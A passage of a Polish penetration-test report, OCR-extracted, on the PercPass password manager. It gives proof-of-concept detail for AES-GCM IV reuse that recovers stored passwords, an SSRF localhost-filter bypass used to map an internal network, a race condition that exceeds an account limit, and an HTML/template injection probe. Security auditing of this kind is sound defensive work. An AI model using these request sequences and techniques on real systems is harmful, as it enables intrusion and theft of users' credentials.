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Podsumowanie wykonanych prac

Niniejszy raport jest podsumowaniem testéw bezpieczenstwa przeprowadzonych przez firme Securitum.
Przedmiotem testow byt menedzer haset PercPass. W ramach testow sprawdzono nastepujace komponenty:

e aplikacje webowa udostepniona pod adresem https://[REDACTED]/,
e aplikacje mobilng na system Android,
e kod Zrédtowy wtyczki dla przegladarki Chrome.

Testy aplikacji zostaty przeprowadzone z nastepujacymi poziomami uprawnien:

e administrator gtowny,

e administrator,

e uzytkownik uwierzytelniony,

e uzytkownik nieuwierzytelniony.

Informacja: Podczas testow przeprowadzono audyt aplikacji webowej, aplikacji mobilnej na system Android

w wersii 1.1.7, oraz kod zrédtowy wtyczki dla przegladarki Chrome w wersji 2.0.0. Retesty przeprowadzono dla
aplikacii webowej, aplikacji mobilnej na system Android w wersji 2.1.1 oraz kodu zrodtowego wtyczki dla
przegladarki Chrome w wersji 2.1.2. W trakcie retestow zweryfikowane zostaty podatnosci znalezione podczas

bazowych testéw, nie weryfikowano nowo wprowadzonych funkcjonalnosci.

Najistotniejsze znalezione podatnosci to:

e [HIGH] SECURITUM-238503-001: Mozliwo$¢ odszyfrowania haset uzytkownikow bez znajomosci hasta
gtownego,

e [MEDIUM] SECURITUM-238503-002: Mozliwos¢ wykonania rekonesansu wewnetrznej sieci,

e [MEDIUM] SECURITUM-238503-003: Mozliwos¢ aktywacji wiekszej ilosci kont niz wyznaczony limit.

W trakcie prac szczegblny nacisk potozono na podatnosci majace lub mogace mie¢ negatywny wptyw na
poufnos¢, integralnos¢ oraz dostepnosc przetwarzanych danych.

Testy bezpieczenstwa przeprowadzono zgodnie z powszechnie przyjetymi metodykami testowania aplikacji,
takimi jak: OWASP TOP10 czy (w wybranym zakresie) OWASP ASVS, OWASP MASVS, jak rbwniez wewnetrznymi
metodykami przeprowadzania testow bezpieczenstwa firmy Securitum.

W ramach prac wykorzystano podejscie polegajace na testach manualnych opartych na wymienionych wyzej
metodykach, jak i wsparcie tych czynnoséci szeregiem narzedzi automatycznych, m.in. Burp Suite Professional.

Podatnosci zostaty szczegdtowo opisane w dalszej czesci raportu.

Sumy kontrolne dostarczonych komponentéw:

$ sha256sum app.apk
e€2a7852e52a569daf9429d0dobd1e9a9138ef1376fc84abf8431f5d1b455d51a app.apk

$ sha256sum *.zip
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029fc1df705aec02c861956140d119720d9e888a2f6ebff1c49f4f58f885aalb [©1] wtyczka - skompilowana
Chrome.zip

11ca94b398651ae82defd7b432f6a20db84364424c5f6078a66894a2524c3e7b [02] wtyczka - kod.zip
eb76d22813960e3ebd2a07407e4672ef728be91bced78a49f0511c7248a924f [©3] crypto SDK - pomocniczo -
istnieja odwotania z kodu wtyczki.zip

Status podatnosci po wykonaniu retestu (15.04.2024 - 16.04.2024)

Podatno$¢ Ryzyko | Status

SECURITUM-238503-001: Mozliwo$¢ odszyfrowania danych uzytkownikdw HIGH
bez znajomosci hasta gtownego

SECURITUM-238503-002: Mozliwo$¢ wykonania rekonesansu wewnetrznej MEDIUM
sieci

SECURITUM-238503-003: Mozliwos¢ aktywacji wiekszej ilosci kont niz MEDIUM
wyznaczony limit

SECURITUM-238503-004: Mozliwo$¢ odszyfrowania danych wspotdzielonej LOW
grupy przez bytych uzytkownikéw grupy

SECURITUM-238503-005: Przechowywanie tokendw sesji w postaci tekstu LOW

jawnego

SECURITUM-238503-006: Wyswietlanie wygenerowanego hasta LOW
SECURITUM-238503-007: Wspétdzielenie klucza RSA do podpisywania LOW
tokenow JWT

SECURITUM-238503-008: Mozliwo$¢ enumeracji nazw uzytkownikow LOW

SECURITUM-238503-009: Zwracanie technicznych komunikatow o btedach LOW

SECURITUM-238503-010: Brak mozliwosci zmiany hasta gtéwnego INFO
SECURITUM-238503-011: Uzycie niewtasciwego generatora pseudo- INFO
losowych wartosci

SECURITUM-238503-012: Brak uniewazniania sesji podczas zmiany hasta INFO
oraz wtaczania 2FA

SECURITUM-238503-013: Brak panelu do zarzadzania sesjami INFO
SECURITUM-238503-014: Mozliwos¢ wtaczenia weryfikacji 2FA bez INFO

koniecznosci podawania hasta

SECURITUM-238503-015: Niepetne logowanie zdarzeh zwigzanych z INFO
bezpieczenstwem

SECURITUM-238503-016: Niepetne informowanie uzytkownika o zdarzeniach | INFO
zwigzanych z bezpieczehstwem

SECURITUM-238503-017: Mozliwo$¢ wstrzykniecia znacznika HTML do nazwy | INFO
metody 2FA




SECURITUM-238503-018: Publicznie dostepna testowa wersja aplikacji INFO Wdrozono

Klasyfikacja podatnosci

Podatnosci  zostaty  sklasyfikowane ~w  pieciostopniowej skali  odzwierciedlajacej  zaréwno
prawdopodobienstwo znalezienia podatnosci, jak i istotnos¢ skutkéw jej wykorzystania. Ponizej zawarto
krotki opis kazdego z poziomdw istotnosci:

. CRITICAL (podatnos¢ krytyczna) — wykorzystanie podatnosci umozliwia przejecie petnej kontroli
nad serwerem lub urzadzeniem sieciowym albo pozwala uzyskac¢ dostep (w trybie zapisu i/lub
odczytu) do danych o duzym poziomie poufnosci i istotnosci. Zazwyczaj podatnosc jest tez tatwa
do wykorzystania, tj. nie wymaga od napastnika posiadania dostepu do systeméw, ktore sa trudne
do zdobycia, lub przeprowadzania atakdédw socjotechnicznych. Podatnosci oznaczone jako
CRITICAL powinny by¢ naprawione bezzwtocznie, jesli wystepuja na srodowisku produkcyjnym.

. HIGH (podatno$¢ o wysokim poziomie istotnosci) — wykorzystanie podatnosci pozwala na
uzyskanie dostepu do wrazliwych informacji (podobnie jak przy poziomie krytycznym), jednak
moze wczesniej wymagac spetnienia pewnych warunkéw (np. posiadania konta uzytkownika
w wewnetrznym systemie) w celu praktycznego wykorzystania. Alternatywnie: podatno$¢ moze
zostac w tatwy sposob wykorzystana, jednak ograniczone sa jej skutki.

. MEDIUM (podatnosc o Srednim poziomie istotnosci) — wykorzystanie podatnosci moze zaleze¢ od
zewnetrznych czynnikdw (np. wymaga przekonania uzytkownika do klikniecia w tacze) lub moze
wymagad trudnych do spetnienia warunkéw. Ponadto wykorzystanie podatnosci zazwyczaj
umozliwia dostep tylko do ograniczonej ilosci danych lub do danych o mniejszym poziomie
istotnosci.

. LOW (podatno$¢ o niskim poziomie istotnosci) - wykorzystanie podatnosci ma niewielki
bezposredni wptyw na bezpieczenstwo przedmiotu testéw lub wymaga bardzo trudnych
warunkow do spetnienia (np. fizyczny dostep do serwera).

. INFO (ogblne zalecenia lub informacja) - punkty oznaczone poziomem INFO nie s
podatnosciami bezpieczenstwa. Wskazuja jednak dobre praktyki, ktérych zastosowanie pozwala
zwiekszy¢ ogblny poziom bezpieczenstwa przedmiotu testow. Alternatywnie: zwracajg uwage na

pewne rozwigzania (np. architektoniczne), pozwalajace uszczelni¢ przedmiot testéw.
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Zestawienie statystyczne

Ponizej zestawienie statystyczne znalezionych podatnosci:

Krytyczne zagrozenie
Wysokie zagrozenie

0 1 2

Niskie zagrozenie

Ponadto zgtoszono 9 punktéw informacyjnych.

Zestawienie statystyczne po wykonaniu retestu (15.04.2024 - 16.04.2024)

Brak podatnosci.

48 (12) 3523382

2 www.securitum.pl
securitum@securitum.pl www.sekurak.p
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Historia zmian

Data dokumentu Wersja | Opis zmiany

17.04.2024 11 Po wykonaniu retestu (SECURITUM-238503-001-SECURITUM-238503-018)
dodano nastepujace informacje:

e W podsumowaniu dodano sekcje Status podatnosci po
wykonaniu retestu.

e Dodano zestawienie statystyczne.

e Dla poszczegdlnych podatnosci oraz punktéw informacyjnych
dodano sekcje Status po wykonaniu retestu.

26.02.2024 1.0 Zaktualizowano  podatno$¢  SECURITUM-238503-001:  Mozliwosc
odszyfrowania danych uzytkownikéw bez znajomosci hasta gtdwnego
(dodano informacje, ze problem dotyczy réwniez zatacznikédw oraz
danych przechowywanych w grupach wspétdzielonych).

Zgtoszono podatnosci od SECURITUM-238503-002 do SECURITUM-
238503-009 oraz punkty informacyjne od SECURITUM-238503-010 do
SECURITUM-238503-018.

09.02.2024 0.1 Zgtoszono podatnosé SECURITUM-238503-001: Mozliwosc odszyfrowania
haset uzytkownikéw bez znajomosci hasta gtownego.




Podatnosci

+48 (12) 352 33 82 www.securitum.pl

securitum@securitum.pl www.sekurak.pl
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[FIXED][HIGH] SECURITUM-238503-001: Mozliwos¢ odszyfrowania

danych uzytkownikéw bez znajomosci hasta gtownego

STATUS PO WYKONANIU RETESTU

Podatnos¢ zostata wyeliminowana. Podczas szyfrowania wykorzystywane sg unikalne wartosci wektora
inicjalizujacego (IV).

oris

Aplikacja petni role menedzera haset. Hasta szyfrowane z wykorzystaniem hasta gtéwnego, po stronie klienta,
a nastepnie, w zaszyfrowanej formie, wysytane oraz przechowywane na serwerach aplikacji. Z zatozenia, nawet
w przypadku dostepu do danych przechowywanych na serwerach, bez znajomosci hasta gtéwnego nie mozna
uzyskac dostepu do haset uzytkownikéw.

Podczas testow zidentyfikowano podatnosé, ktéra pozwala odszyfrowac hasta uzytkownikdéw bez znajomosci
hasta gtéwnego. W rezultacie w przypadku, gdy atakujacy uzyska dostep do zaszyfrowanych danych, moze
uzyskac dostep do haset uzytkownikow.

W sekcji Szczegoty techniczne pokazano przyktadowy atak, w ramach ktérego odszyfrowano hasta uzytkownika
przechowywane w grupie osobistej. Nalezy jednak zaznaczy¢, ze problem dotyczy réwniez zaszyfrowanych
zatacznikdw oraz danych przechowywanych w grupach wspétdzielonych.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do zaszyfrowanych danych uzytkownikow. Przyktadowe scenariusze:

e dostep do infrastruktury aplikacji,
e dostep do konta uzytkownika (aplikacja uzywa dwdch osobnych haset - do logowania i szyfrowania
danych).

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Szyfrowanie danych uzytkownika wykonywane jest za pomoca algorytmu AES dziatajacego w trybie GCM.
Ponizsza grafika przedstawia sposob dziatania trybu GCM (zrodto
https://en.wikipedia.org/wiki/Galois/Counter Mode):

(et}  [Famenz )

ext 2

Ciphertext 1 Ciphe
[Cipherext 1 ]

14!

Auth Data 1 len(A) || len(C)

El
2
uf\u:\D\u

Pany 2 !

Auth Tag
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https://en.wikipedia.org/wiki/Galois/Counter_Mode

Na podstawie wartosci wektora inicjalizujacego (IV) tworzone sg bloki licznika (Counter). Kazdy blok licznika
jest szyfrowany kluczem gtéwnym (np. algorytmem AES - operacja Ek). Zaszyfrowane bloki licznika tworza
strumien klucza. Strumien klucza jest taczony (operacja XOR) ze strumieniem tekstu jawnego (Plaintext),
tworzac w ten sposéb szyfrogram (Ciphertext). Nalezy zauwazy¢, e znajac szyfrogram oraz tekst jawny mozna
uzyskac strumien klucza (klucz = szyfrogram XOR tekst jawny). Warto zaznaczy¢, ze uzyskujemy strumien
klucza o dtugosci tekstu jawnego.

W trybie GCM kluczowy jest wymdg, aby dla kazdej operacji szyfrowania uzywac unikalnej wartosci IV. Wynika
to z faktu, ze dla takiego samego IV tworzony jest identyczny strumien klucza. Jak wspomniano wczesniej
znajac szyfrogram oraz tekst jawny mozna odzyskac strumien klucza. Tym samym znajomos¢ pojedynczej pary
szyfrogram - tekst jawny pozwala uzyskac strumien klucza, ktéry nastepnie moze by¢ uzyty do odszyfrowania
innych szyfrogramow, dla ktérych nie jest znany tekst jawny (tekst jawny = klucz XOR szyfrogram).

Podczas testow zauwazono, ze dane uzytkownika szyfrowane sg z uzyciem statej wartosci IV. Ponizej
przedstawiono wartosci IV uzywane podczas czterech réznych operacji szyfrowania (uzycie tego samego V).

(KY {:} Inspektor Konsola [ Debuger {3} Edytor stylow

@] Y Filtruj zawartos¢

w Object { name: "AES-GCM", iv: Uint8Array(64) }
» iv: Uint8Array(64) [ 239, 157, 80, .. ]

name: "AES-GCM" \
» <prototype>: Object { .. }
w Object { name: "AES-GCM", iv: Uint8Array(64) }
» iv: Uint8Array(64) [ 239, 157, 80, .. ]

name: "AES-GCM" \

» <prototype>: Object { .. }

w Object { name: "AES-GCM", iv: Uint8Array(64) }
b iv: Uint8Array(64) [ 239, 157, 80, .. ]

name: "AES-GCM" \
{ 1

» <prototype>: Object { .. }

w Object { name: "AES-GCM", iv: Uint8Array(64) }
» iv: Uint8Array(64) [ 239, 157, 80, .. ]
name: "AES-GCM"
» <prototype>: Object { .. }

Wyswietlenie uzywanych wartosci IV uzyskano poprzez wstrzykniecie, za pomoca narzedzia Burp Suite Proxy,
wywotania console.log do kodu JavaScript aplikacji wykonujacego szyfrowanie za pomoca funkgji
crypto.subtle.encrypt:

Auto-modified response Vv
Raw Hex

GET /static/js/main. 14dc5
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Dodatkowo zauwazono, ze dla niektérych zaszyfrowanych danych znany jest tekst jawny, tym samym mozliwe
jest uzyskanie strumienia klucza, ktéry pozwala odszyfrowad inne szyfrogramy uzytkownika. Dane szyfrowane
przez aplikacje maja nastepujacy format:

1) Pojedynczy wpis zawierajacy hasto:

{"title":"[..]","login":"[.]", "password": "[.]","url": "[.]", "notes": "[..]", "tag": "[..]", "details":{"e
xpireDate":"[..]"}}

2) Atrybuty wpisu (securityAttributes):

‘ {"passwordMatchCriteria":null, "passwordEntropy":[..]}

Atrybuty wpisu majg znang wartos$¢ o dtugosci 48 znakow. W rezultacie na podstawie zaszyfrowanej wartosci
atrybutéw mozna uzyskac¢ strumien klucza o dtugosci 48 znakdéw, ktory moze by¢ wykorzystywany do
odszyfrowania fragmentdw (48 znakow) pozostatych szyfrogramdw uzytkownika, w tym wpiséw zawierajacych
hasta. Nalezy zaznaczy¢, Zze poczatkowe ograniczenie 48 znakéw mozna objes¢ analizujac odszyfrowane
fragmenty wpiséw zawierajgcych hasta i dedukujac ich pozostata tres¢ zwiekszajac w ten sposéb dtugosc
znanego tekstu jawnego, co w potaczeniu z szyfrogramem pozwala uzyskac dtuzszy strumien klucza.

W celu prezentacji przyktadowej analizy przygotowano skrypt deszyfrujacy decrypt.py (skrypt dodano na
koncu raportu w sekcji Dodatki). Skrypt wymaga podania trzech parametrow:

1) Szyfrogram, dla ktérego znamy tekst jawny, w formacie zwracanym przez metode API: GET
/api/users/me/entries

2) Tekstjawny, np.: {"passwordMatchCriteria":null,"passwordEntropy":

3) Szyfrogram, ktéry chcemy odszyfrowaé, w formacie zwracanym przez metode APl GET
/api/users/me/entries

Ponizej przedstawiono przyktadowa analize, ktérg mozna wykonad posiadajac dostep do zaszyfrowanych
danych uzytkownikow:

1) W aplikacji webowe] dodano dwa wpisy do grupy osobistej (hasta do portali example.com
oraz another.example.com):

99 Tytut example.com

@ Tag Wybierz lub wprowad?z nowy tag

L Login user

P Hasto 4XsM=.cxT9 Q‘ Q
€ Stronainternetowa https://example.com|
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19 Tytut another.example.com
® Tag Wybierz lub wprowadz nowy tag
= Login user@gmail.com
Hasto M2uv]DM" 54 7 |
) Strona internetowa https://another.example.com

2) Pobrano zaszyfrowane dane wysytajac zapytanie:

GET /api/users/me/entries HTTP/2
Host: [REDACTED]

[.]

Odpowiedz:

HTTP/2 200 OK

Date: Wed, 07 Feb 2024 21:18:40 GMT

[..]

{"successful":true, "message":"Successful", "userGroupEntriesList":[{"userGroupInfo":{"uuid":"b7da[

..]c403", "ownerUuid":"b455[..]7738","data" : "[..]", "personal”:true, "permission": "WRITE", "protectedGro

UpPAES" :null, "ownerFullName":"><h1>${{9*9} }Audytor

702", "ownerStatus":"ACTIVE", "entryCount":2, "memberCount":1}, "userEntryInfolList":[{"uuid":"12d7][...]

905a", "data":"[zaszyfrowany wpis 1]","securityAttributes":"[zaszyfrowane atrybuty

1]","groupUuid":"b7da[..]c403", "ownerUuid": "b455[..]7738", "secureFiles" :null, "permission":"WRITE"},
"uuid":"94d6[..]fa7b","data":"[zaszyfrowany wpis 2]","securityAttributes":"[zaszyforwane atrybuty

2]","groupUuid":"b7da[..]c403", "ownerUuid": "b455[..]7738", "secureFiles" :null, "permission":"WRITE"}]

}1,"groupWithEntriesetags":{"b7da[..]c403":"c3dc[..]30c3"}, "groupEtags":{"b7da[..]c403": "a442[..]1da0
"}, "entryEtags":{"12d7[..]905a" : "edc8[..]7fcf", "94d6[..]fa7b" : "@f6d[..]3196" } }

3) Uruchomiono skrypt deszyfrujacy z parametrami:

Szyfrogram z tekstem jawnym: [zaszyfrowane atrybuty 1]
Tekst jawny: {"passwordMatchCriteria":null, "passwordEntropy":
Szyfrogram do odszyfrowania: [zaszyfrowany wpis 1]

W rezultacie uzyskano fragment wpisu 1, ktory mozna wykorzystac jako tekst jawny podczas dalszej analizy:

Nalezy zauwazyc, ze znajac format zaszyfrowanych danych, uzyskany tekst jawny mozna rozszerzy¢ o dwa
znaki i




4)  Uruchomiono skrypt deszyfrujacy z parametrami:

Szyfrogram z tekstem jawnym: [zaszyfrowany wpis 1]
Tekst jawny: {"title":"example.com","login":"user","password":"
Szyfrogram do odszyfrowania: [zaszyfrowany wpis 2]

W rezultacie uzyskano fragment wpisu 2:

Tg@LDC5LDI2
DIzNiwxNzcs

Uzyskany tekst jawny rozszerzono o znaki jcom’", password";

5) Uruchomiono skrypt deszyfrujacy z parametrami:

Szyfrogram z tekstem jawnym: [zaszyfrowany wpis 2]
Tekst jawny: {"title":"another.example.com","login":"user@gmail.com",“password":
Szyfrogram do odszyfrowania: [zaszyfrowany wpis 1]

W rezultacie uzyskano fragment wpisu 1 zawierajacy hasto:

Uzyskany test jawny rozszerzono o znaki ‘https://example (na podstawie tytutu wpisu mozna wydedukowac
jaka jest wartos¢ URL).




6) Uruchomiono skrypt deszyfrujacy z parametrami:

Szyfrogram z tekstem jawnym: [zaszyfrowany wpis 1]
Tekst jawny: {"title":"example.com","login":"user","password":"4XsM=.cxT9","url":"https://example
Szyfrogram do odszyfrowania: [zaszyfrowany wpis 2]

W rezultacie uzyskano fragment wpisu 2 zawierajacy hasto:

@gmail

LOKALIZACIA

Mechanizm szyfrowania danych uzytkownikow.

REKOMENDACIA

Podczas szyfrowania z wykorzystaniem trybu GCM nalezy uzywac unikalnych wartosci wektora
inicjalizujacego. Nalezy zadba¢, aby w ramach szyfrowania tym samym kluczem AES, dana warto$¢ IV uzyta
byta tylko raz.




STATUS PO WYKONANIU RETESTU

Podatnos$¢ zostata wyeliminowana. Podczas retestu nie udato sie przeprowadzi¢ ataku SSRF. Ponadto
zauwazono, ze ustuga pobierania favicon zostata przeniesiona do dedykowanego serwera
favicons.[REDACTED].

oris

Wykryto podatnosd, ktéra pozwala przeprowadzi¢ rekonesans wewnetrznej sieci. Tego typu informacje moga
by¢ pomocne w przygotowaniu i przeprowadzeniu dalszych atakdw.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Posiadanie konta w aplikacji.

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

W zapytaniu pobierajacym favicony wykryto podatnosé typu Server-Side Request Forgery (SSRF).
Wiecej informacji na temat SSRF:

e https://portswigger.net/web-security/ssrf

Préba wystania zapytania pod adres 127.0.0.1 zakonczyta sie niepowodzeniem:

GET /api/favicons?target=http://127.0.0.1 HTTP/2
Host: [REDACTED]

[.]

Odpowiedz:

HTTP/2 403 Forbidden
Date: Wed, 14 Feb 2024 ©8:41:27 GMT

[.]

{"successful":false, "message":"Provided address is denied"}

Zauwazono jednak, ze mozliwe jest uzycie innego adresu wskazujacego na lokalny host - 127.1.1.1:

GET /api/favicons?target=http://127.1.1.1 HTTP/2
Host: [REDACTED]

[.]

Tym razem w odpowiedzi zwrécona zostata tres¢ HTML:

HTTP/2 200 OK
Date: Wed, 14 Feb 2024 ©8:47:21 GMT

[..]
<l!doctype html>[..]<title>Perc.Pass</title>[..]
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Ponizej przedstawiono przyktadowy rekonesans wewnetrznej sieci:

1) Zauwazono, ze pod adresem http://127.1.1.1:8761 nastuchuje ustuga Spring [REDACTED], ktora
pozwala pobrac informacje na temat uzywanych mikro serwiséw (nalezy zaznaczy¢, ze ustuga nie jest
publicznie dostepna):

Zapytanie:

GET /api/favicons?target=http://127.1.1.1:8761 HTTP/2
Host: [REDACTED]

[.]

Odpowiedz:

HTTP/2 200 OK
Date: Wed, 14 Feb 2024 ©8:50:36 GMT
[..]
<!doctype html>
<html lang="en">
<head>
<base href="/">
<meta charset="utf-8">
<title>[REDACTED]</title>
[..]
<td><b>API-SERVICE</b></td>
<td>
<b>n/a</b> (1)
</td>
<td>
<b></b> (1)
</td>
<td>
<b>UP</b> (1) -
<a href="http://[REDACTED]-server:8080/actuator/info"
target="_blank">[REDACTED]:api-service:8080</a>
[..]
<td><b>BACKEND-SERVICE</b></td>
<td>
<b>n/a</b> (1)
</td>
<td>
<b></b> (1)
</td>
<td>
<b>UP</b> (1) -
<a href="http://[REDACTED]:7777/actuator/info"
target="_blank">[REDACTED]:backend-service:7777</a>
[..]
<tr><th>Name</th><th>Value</th></tr>
<thead>
<tbody>
<tr>
<td>ipAddr</td><td>10.XXX.XXX.23</td>

[.]




2) Posiadajac wiedze na temat wewnetrznej adresacji IP (adres hosta: 10.XXX.XXX.23) sprawdzono
dostepnosé innych hostow w podsieci 10. XXX.XXX.0/24. W tym celu wykorzystano narzedzie Burp Suite
Intruder:

@ Choose an attack type

.| Sniper

@ Payload positions

will be ins C can ed into the

Target: | https:/
1 GET /api/favicons?target=http:

on-token=

Payload settings [Numbers]
This payload erates numer ds within a given range and in a s fied format.

Number range

Rezultat:

<) 8. Intruder attack of https://test.percpass.com

Results Positions Payloads Resource pool Settings

{ Filter: Showing all items

Request  Payload Status code  Error Timeout Length Comment Response received

Na podstawie analizy czasu oraz tresci odpowiedzi wykryto 17 aktywnych hostow: 10.XXX.XXX.6, 10.XXX.XXX.7,
10 XXX XXX.8, 10 XXX.XXX.10, 10 XXXXXX.11, TO0XXXXXX.13, 10XXX.XXX.14, 10.XXXXXX.16, 10.XXXXXX.17,
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10 XXX XXX.18, 10.XXXXXX.19, I10.XXX.XXX.20, 10.XXX.XXX.21, 10.XXXXXX.22, 10.XXX.XXX.23, 10.XXX.XXX.24,
10.XXX.XXX.244.

Pod adresami 10.XXX.XXX.20, 10.XXX.XXX.22, 10.XXX.XXX.24 zlokalizowano aplikacje Perc.Pass CRM:

HTTP/2 200 OK
Date: Wed, 14 Feb 2024 09:02:42 GMT
[..]
<!doctype html>
<html lang="en">
[..]
<title>Perc.Pass CRM</title>
<script type="module" crossorigin src="/assets/index-0475ece8.js"></script>
<link rel="stylesheet" href="/assets/index-55feclff.css">
</head>
<body>
<div id="root"></div>

</body>
</html>

Pod adresami 10.XXX.XXX.8, 10.XXX.XXX.14, 10.XXX.XXX.23 zlokalizowano aplikacje Perc.Pass:

HTTP/2 200 OK

Date: Wed, 14 Feb 2024 09:02:38 GMT

[..]

<ldoctype html><html lang="pl">[..]Jtitle>Perc.Pass</title><script
src="https://www.google.com/recaptcha/api.js"></script><script defer="defer"
src="/static/js/main.@acb26ed.js"></script><link href="/static/css/main.c7aa6991.css"
rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this
app.</noscript><div id="root"></div></body></html>

LOKALIZACIA

Mechanizm pobierania favicon.

REKOMENDACIA

W pierwszej kolejnosci zaleca sie poprawi¢ walidacje danych wejsciowych, aby odrzucac adresy prywatnych
sieci. Nalezy jednak mie¢ na uwadze, ze tego typu walidacja moze by¢ trudna do wykonania (np. w obliczu
ataku DNS Rebinding). Dlatego dodatkowo zaleca sie uruchomienie ustugi pobierania favicon w izolowanym
Srodowisku, z ktérego na poziomie sieciowym zablokowany zostanie dostep do wewnetrznych zasobdw.

Wiecej informacji:

e https://cheatsheetseries.owasp.org/cheatsheets/Server Side Request Forgery Prevention Cheat
Sheet.html
e https://blog.securelayer7.net/server-side-request-forgery-dns-rebinding-attack/
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https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
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https://blog.securelayer7.net/server-side-request-forgery-dns-rebinding-attack/

STATUS PO WYKONANIU RETESTU

Podatnosc¢ zostata wyeliminowana. Podczas retestu nie udato sie powtorzy¢ ataku race conditions.

oris

Zidentyfikowano podatnos¢, ktéra pozwala aktywowac wieksza ilo$¢ kont niz ustalony limit. Podczas testéw
aktywowano szesciu uzytkownikow na koncie z limitem pieciu uzytkownikow. Podatnos¢ moze narazi¢
wtasciciela aplikacji na straty finansowe — zwiekszenie limitu wymaga uiszczenia dodatkowej optaty.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Posiadanie konta w aplikacji.

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Aplikacja podatna jest na atak race conditions, wiecej informacji:

e https://portswigger.net/web-security/race-conditions

Podatnos¢ tego typu wystepuje, gdy dwa lub wiecej procesow probuje jednoczednie zmodyfikowad
wspotdzielone dane, co moze doprowadzi¢ do nieprzewidywalnych wynikéw. W tym przypadku podatnosé
pozwala aktywowac wiekszg ilo$¢ kont niz ustalony limit.

W celu prezentacji ataku wykonano nastepujace czynnosci:

1) Przy czterech aktywnych uzytkownikach oraz limicie pieciu uzytkownikéw, ponizsze dwa zapytania
(Uzytkownicy -> Zapros uzytkownika) wystano réwnolegle za pomoca narzedzia Burp Suite Repeater.

Zapytanie 1:

POST /api/users/invite HTTP/2

Host: [REDACTED]

[..]

{"privileges":"ALL","email":"[..]+pass@4@securitum.pl”,"firstName":"Testo4", "lastName":"Testo4","r
ole":"USER","supervisor":"6ff5[..]cd17"}

Zapytanie 2:

POST /api/users/invite HTTP/2

Host: [REDACTED]

[..]

{"privileges" :"ALL","email":"[..]+pass@5@securitum.pl”,"firstName":"Test@5", "lastName":"Testo5","r
ole":"USER", "supervisor":"6ff5[..]cd17"}

Oba zapytania zostaty zaakceptowane i na podane adresy email wystano linki aktywacyjne.

Odpowiedz7 1:

HTTP/2 201 Created
Date: Mon, 12 Feb 2024 ©9:54:29 GMT

[.]
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{"successful":true, "message":"Successful”,"user":{"uuid":"42b4[..]7c90", "firstName": "Testo4","last
Name":"Test@4","email":"[..]+pass@4@securitum.pl”,"lastLoginTime" :null, "status":"INVITED", "role":"
USER", "accountType":"LOCAL", "privileges":"ALL","groups":[],"supervisor":{"uuid":"6ff5[..]cd17"},"m
aster":false, "hasPasswordHint":false, "language":"PL","refId":null}}

Odpowiedz 2:

HTTP/2 201 Created

Date: Mon, 12 Feb 2024 ©9:54:29 GMT

[..]

{"successful":true, "message":"Successful","user":{"uuid":"ac4b[..]e232","firstName": "TestO5", "last
Name":"Test@5", "email":"[..]+pass@5@securitum.pl”, "lastLoginTime" :null, "status":"INVITED", "role":"
USER", "accountType":"LOCAL", "privileges":"ALL","groups":[],"supervisor":{"uuid":"6ff5[..]cd17"},"m
aster":false, "hasPasswordHint":false, "language":"PL","refId":null}}

2) Aktywowano konta za pomoca wystanych linkow.
3) W rezultacie, uzyskano szesciu aktywnych uzytkownikdéw pomimo ustalonego limitu pieciu kont:

E-MAIL IMIE NAZWISKO TYP UZYTKOWNIKA STATUS OSTATNIE LOGOWANIE
_@securitum.pl (ty) Audytor 501 Administrator organizacji Aktywny 12-02-2024 08:27 e
_@securi(um.pl Audytor 601 Administrator Aktywny 12-02-2024 08:29 &
G << itum ol Audytor 702 Uzytkownik Aktywny 12-02-2024 08:29 &
securi(um.p\ Test03 Test03 Uzytkownik Aktywny o
-@securitum,p\ TestOS Test05 Uzytkownik Aktywny o
-@securitum.pl TestO4 TestO4 Uzytkownik Aktywny O

Nalezy zaznaczy¢, ze powyzszy atak wykonano tylko dla jednego konta, aby nie komplikowad przyktadu.
W praktyce mozliwy jest do przeprowadzenia atak, ktory pozwoli aktywowac wieksza ilos¢ kont — podczas
jednej z prob udato sie wystac zaproszenia do czterech dodatkowych uzytkownikow (w sumie dziewie¢ kont):

IMIE NAZWISKO TYP UZYTKOWNIKA STATUS OSTATNIE LOGOWANIE

Audytor 501 Administrator organizacji Aktywny 12-02-2024 08:27

Audytor 601 Administrator Aktywny 12-02-2024 08:29

Audytor 702 Uzytkownik Aktywny 12-02-2024 0829

Test03 Test03 Uzytkownik Zaproszony ¢
Test09 Test09 Uzytkownik Zaproszony o
Testll Testll Uzytkownik Zaproszony Q
Test08 Test08 Uzytkownik Zaproszony o
Testl3 Testl3 Uzytkownik Zaproszony Q
Testi2 Testi2 Uzytkownik Zaproszony Q

LOKALIZACIA

Mechanizm aktywacji uzytkownikéw.
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REKOMENDACIA

Przyktadowe metody, ktére moga pomodc wyeliminowac podatnos¢ race condition:

1) Wprowadzenie blokady, tak aby caty proces zapraszania uzytkownika - sprawdzenie limitu, wystanie
zaproszenia, zmniejszenie limitu - dla danego konta, mdgt by¢ wykonywany jednoczesnie tylko przez
jedno zapytanie. W przypadku implementacji tej metody nalezy uwazac, aby nie spowodowac takich
problemdw jak zakleszczenia (ang. deadlocks).

2) Uzycie kolejki, aby sekwencyjnie wykonywac zlecone zadania (w tym przypadku zaproszenie nowego
uzytkownika).
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[FIXED][LOW] SECURITUM-238503-004: Mozliwos¢ odszyfrowania
danych wspoétdzielonej grupy przez bytych uzytkownikow grupy

STATUS PO WYKONANIU RETESTU

Podatnos¢ zostata wyeliminowana. Dodano mozliwo$¢ zmiany klucza grupy po usunieciu uzytkownika

Z grupy:
A —
Wspétdzielone 0 Dodaj grupe _b Importuj dane ;: Zweryfikuj naruszenia
Zalecane dziatania w grupie:
walski (Ja)
Przejdz do ustawien bezpieczeristwa, aby wygenerowac nowy klucz
B #1
bicane hasta 2 UrvikewniEy
Oris

Podczas analizy mechanizmu zarzadzania kluczami wspotdzielonych grup zauwazono, ze wspétdzielony klucz
AES jest niezmienny przez caty czas funkcjonowania grupy. Po usunieciu uzytkownika z grupy klucz nie jest w
zaden sposdb modyfikowany, w rezultacie byty uczestnik jest w posiadaniu klucza umozliwiajacego
rozszyfrowanie wpisow dodanych juz po usunieciu uzytkownika. Nalezy zaznaczy¢, ze usuniety uzytkownik nie
